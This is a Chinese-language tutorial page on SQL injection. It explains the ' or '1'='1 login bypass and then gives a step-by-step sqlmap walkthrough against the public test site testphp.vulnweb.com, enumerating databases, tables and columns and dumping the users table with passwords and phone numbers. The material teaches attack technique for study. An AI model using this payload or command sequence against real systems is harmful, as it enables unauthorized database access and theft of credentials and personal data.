赞
踩
所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。
数据库都是Web应用环境中非常重要的环节。SQL命令就是前端Web和后端数据库之间的接口,使得数据可以传递到Web应用程序,也可以从其中发送出来。需要对这些数据进行控制,保证用户只能得到授权给他的信息。可是,很多Web站点都会利用用户输入的参数动态的生成SQL查询要求,攻击者通过在URL、表格域,或者其他的输入域中输入自己的SQL命令,以此改变查询属性,骗过应用程序,从而可以对数据库进行不受限的访问。
这个语句简单地指明了从user的表中查询用户名和username相等的,并且密码和password相等的。所以,如果用户发送用户名为”admin”,并且密码为”12345”,那么SQL语句被创建如下:
SELECT * FROM user WHERE username='admin' AND password ='12345'
那么,如果用户输入’ or ‘1’=’1,第一个引号会终止输入的字符串,剩下的会被当做SQL语句,并且在SQL语句中1=1恒为真,这就能够绕过注册机制。
SELECT * FROM user WHERE username='admin' AND password =''or '1'='1'。
1.GET请求方式:
找到有数据库交互的功能页面。进入测试平台,在地址栏输入如下网址:http://testphp.vulnweb.com/artists.php?artist=1。在url参数artist=1后加分号“ ’ ”,出现数据库报错提示
基本判断这个页面存在数据库注入漏洞!!!!
sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1
发现有个acuart'@'localhost用户
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --users
发现两个数据库,acuart和information_schema
- 第一条查看当前数据库
- sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs
-
- 第二条为查看当前用户和当前数据库
- sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --current-user --current-db
得到acuart有8个表
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --tables -D "数据库名"
表的数据就是字段的所有值
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --count -T "users" -D "acuart"
得user表里有8个字段
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --columns -T "表名" -D "数据库名"
字段的所有数据就是表数据,下图可见的到user表密码,电话等数据
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dump -T "users" -D "acuart"
- 读取users表某条至某条记录,此例读第2条到第4条记录
- sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dump -T "users" -D "acuart" --start 2 --stop 4
-
- 读取数据库所有表的所有字段数据
- sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dump-all -T "users" -D "acuart"
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。